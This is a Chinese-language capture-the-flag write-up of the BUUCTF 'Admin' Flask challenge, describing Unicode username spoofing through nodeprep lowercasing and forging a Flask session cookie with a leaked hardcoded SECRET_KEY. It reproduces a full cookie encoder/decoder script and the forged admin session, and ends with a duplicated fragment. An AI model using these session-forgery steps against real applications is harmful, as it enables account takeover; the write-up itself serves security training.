BUUCTF Admin
考点:session欺骗、flask框架
源代码发现两个登陆地址,一个是登陆地址,一个是注册地址
随意注册成功,登陆有一个remember me
查看源代码发现四个页面,/change 是修改密码界面
想要获取admin的账户,只可能是从两个方面入手,一个是注册时修改admin密码,另一个就是通过修改密码,修改admin的密码。
change功能里的源码中,提供了一个github地址。
https://github.com/woadsl1234/hctf_flask/
方法一 Unicode欺骗
不管是login、register还是change页面,只要是关于session['name']
的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower
,这里重写了一个,我们查看一下定义:
def strlower(username):
username = nodeprep.prepare(username)
return username
使用了 nodeprep.prepare
函数,该函数的作用是将大写转化为小写
但它同时会将 unicode 字符 ᴬ
转换成A
,而 A 再调用一次nodeprep.prepare函数会把 A 转换成 a 也就是说我们可以使用ᴬdmin
注册登录,登陆后再想办法让服务器再执行一次 nodeprep.prepare ,便可以变成admin账户,发现修改密码功能中存在
name = strlower(session['name'])
方法二 flask session伪造
查看源码,提示you are not admin
,猜测需要admin登录
注册登录,网站功能页面很多,依次查看源码,在change password
界面发现源码
是一个flask 框架 ,进入routes.py
,看一下注册和登录部分的源码
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
根据登录逻辑,如果是已登陆状态,再次刷新会验证session,我们可以据此伪造成admin的session绕过登录
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY
全局搜索,在config.py中发现
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
猜测这个ckj123
就是密钥
使用脚本对其进行解加密
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密的两种方式,session值通过抓包
解密:
python flask_session_manager.py decode -c -s
# -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:
python flask_session_manager.py encode -s -t
# -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
正确的session大概有4行
先进行解密,将登录成功之后的cookie复制,填在对应参数后面(参数用引号括起来),得到:
{'_fresh': True, '_id': b'06d501eb12c482013fed057d645510ec7771bcaf2ecd2385960e7701a2bb8d92764876eae79573f144947d25d6fef3d0604d24aa6a3ba893a7b89471f1c1c2b8', 'csrf_token': b'913c3e48f14387e21630e82553ea9dbddfd82d26', 'image': b'KOxu', 'name': 'aaa', 'user_id': '12'}
再通过修改name 为admin 加密
{'_fresh': True, '_id': b'06d501eb12c482013fed057d645510ec7771bcaf2ecd2385960e7701a2bb8d92764876eae79573f144947d25d6fef3d0604d24aa6a3ba893a7b89471f1c1c2b8', 'csrf_token': b'913c3e48f14387e21630e82553ea9dbddfd82d26', 'image': b'KOxu', 'name': 'admin', 'user_id': '12'}
修改包中的session进入admin账户,得到flag
d92764876eae79573f144947d25d6fef3d0604d24aa6a3ba893a7b89471f1c1c2b8’, ‘csrf_token’: b’913c3e48f14387e21630e82553ea9dbddfd82d26’, ‘image’: b’KOxu’, ‘name’: ‘admin’, ‘user_id’: ‘12’}
修改包中的session进入admin账户,得到flag
考点:flask框架 session修改欺骗